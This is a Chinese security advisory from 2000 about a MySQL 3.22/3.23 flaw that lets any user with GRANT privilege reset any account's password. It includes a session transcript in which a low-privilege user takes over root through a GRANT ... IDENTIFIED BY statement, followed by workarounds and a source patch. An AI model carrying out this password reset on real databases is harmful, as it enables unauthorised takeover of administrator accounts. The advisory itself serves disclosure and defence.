首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第5期->最新漏洞
期刊号: 类型: 关键词:
MySQL GRANT权限可改变任意用户口令

主页:http://www.nsfocus.com/
日期:1999-12-14

发布日期: 2000-1-14
更新日期: 2000-1-14
受影响的系统:  
T.C.X DataKonsult MySQL 3.23.8
T.C.X DataKonsult MySQL 3.22.29
T.C.X DataKonsult MySQL 3.22.27
--------------------------------------------------------------------------------
描述:

    MySQL是一种流行的数据库系统,很多Web站点都用它来提供后台数据库服务.它被发现存在
一个安全漏洞:任何有GRANT权限的用户都有可能改变数据库中任意用户的口令,甚至包括
mysql的超级用户(通常是root).MySQL缺省建立了一个"test"用户,它没有口令而且具有
GRANT权限,这就意味着任何人都能连到这个数据库中.因此可能导致远程的(也许是匿名
的)数据库入侵.即使test用户被禁止,其他普通用户(缺省都有GRANT权限)也可以修改数据
库口令.

<* 来源: Viktor Fougstedt (viktor@DTEK.CHALMERS.SE)  *>

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

为了测试,先创建一个普通用户"evil",并看一下在修改以前root的口令

----------------------------------------
palver(48)> mysql -u root -p mysql
Enter password:

Your MySQL connection id is 80 to server version: 3.22.27

mysql> select * from user where user="evil";
Empty set (0.00 sec)

mysql> grant select on evil.* to evil@sunna.dtek.chalmers.se  identified by
"evil"  
with grant option;
Query OK, 0 rows affected (0.00 sec)

mysql> create database evil;
Query OK, 1 row affected (0.00 sec)

mysql> select password from user where user="root";
+------------------+
| password         |
+------------------+
| 64657611730504a0 |
+------------------+
1 row in set (0.00 sec)

mysql> quit
----------------------------------------

然后从另外一台机器(sunna.dtek.chalmers.se)上以"evil"用户登录,改变root口令.
----------------------------------------
sunna(8)> mysql -h palver -u evil -p evil
Enter password:

Your MySQL connection id is 81 to server version: 3.22.27

mysql> update mysql.user set password="pelle" where user="root";
ERROR 1142: update command denied to user: "evil@sunna.dtek.chalmers.se" for
table  "user"   (无权直接修改root口令)
mysql> grant select on evil.* to root@localhost identified by "pelle";
Query OK, 0 rows affected (0.00 sec) (修改成功)

mysql> quit
----------------------------------------

修改以后,用原来的root口令已经无法登录了,必须用修改后的"pelle"来登录:

----------------------------------------
palver(50)> mysql -u root -p mysql
Enter password:
ERROR 1045: Access denied for user: "root@localhost" (Using password:  
YES)
palver(51)> mysql -u root -p mysql
Enter password:

Your MySQL connection id is 82 to server version: 3.22.27

mysql> select password from user where user="root";
+------------------+
| password         |
+------------------+
| 40845a9817b8fce5 |    ( root口令已经被修改 )
+------------------+
1 row in set (0.00 sec)

mysql> quit
--------------------------
------------------------------------------------------------------------------
建议:
临时解决办法:

1) 用revoke命令去除所有用户(除了root@localhost)的GRANT权限
2) 取消test账号

推荐更新:
  
  mysql.com已经提供了MySQL 3.22.30版,它修复了这个漏洞.      
  http://www.mysql.com/download_3.22.html

Sasha Pachev <sasha@mysql.com> 提供了针对3.23.8-alpha的一个补丁

-----------start-----------------------
*** /my/monty/master/mysql-3.23.8-alpha/sql/sql_parse.cc Fri Dec 31 13:53:03 1999
--- ./sql_parse.cc Mon Jan 10 21:53:59 2000
***************
*** 1222,1227 ****
--- 1222,1246 ----
tables ? &tables->grant.privilege : 0,
tables ? 0 : 1))
goto error;
+
+ /* Check that the user isn't trying to change a password for another
+ user if he doesn't have UPDATE privilege to the MySQL database
*/
+
+ List_iterator <LEX_USER> user_list(lex->users_list);
+ LEX_USER *user;
+ while ((user=user_list++))
+ {
+ if (user->password.str &&
+ (strcmp(thd->user,user->user.str) ||
+ user->host.str && my_strcasecmp(user->host.str,
+ thd->host ? thd->host : thd->ip)))
+ {
+ if (check_access(thd, UPDATE_ACL, "mysql",0,1))
+ goto error;
+ break; // We are allowed to do changes
+ }
+ }
+
if (tables)
{
if (grant_option && check_grant(thd,

----------------end-------------------
版权所有,未经许可,不得转载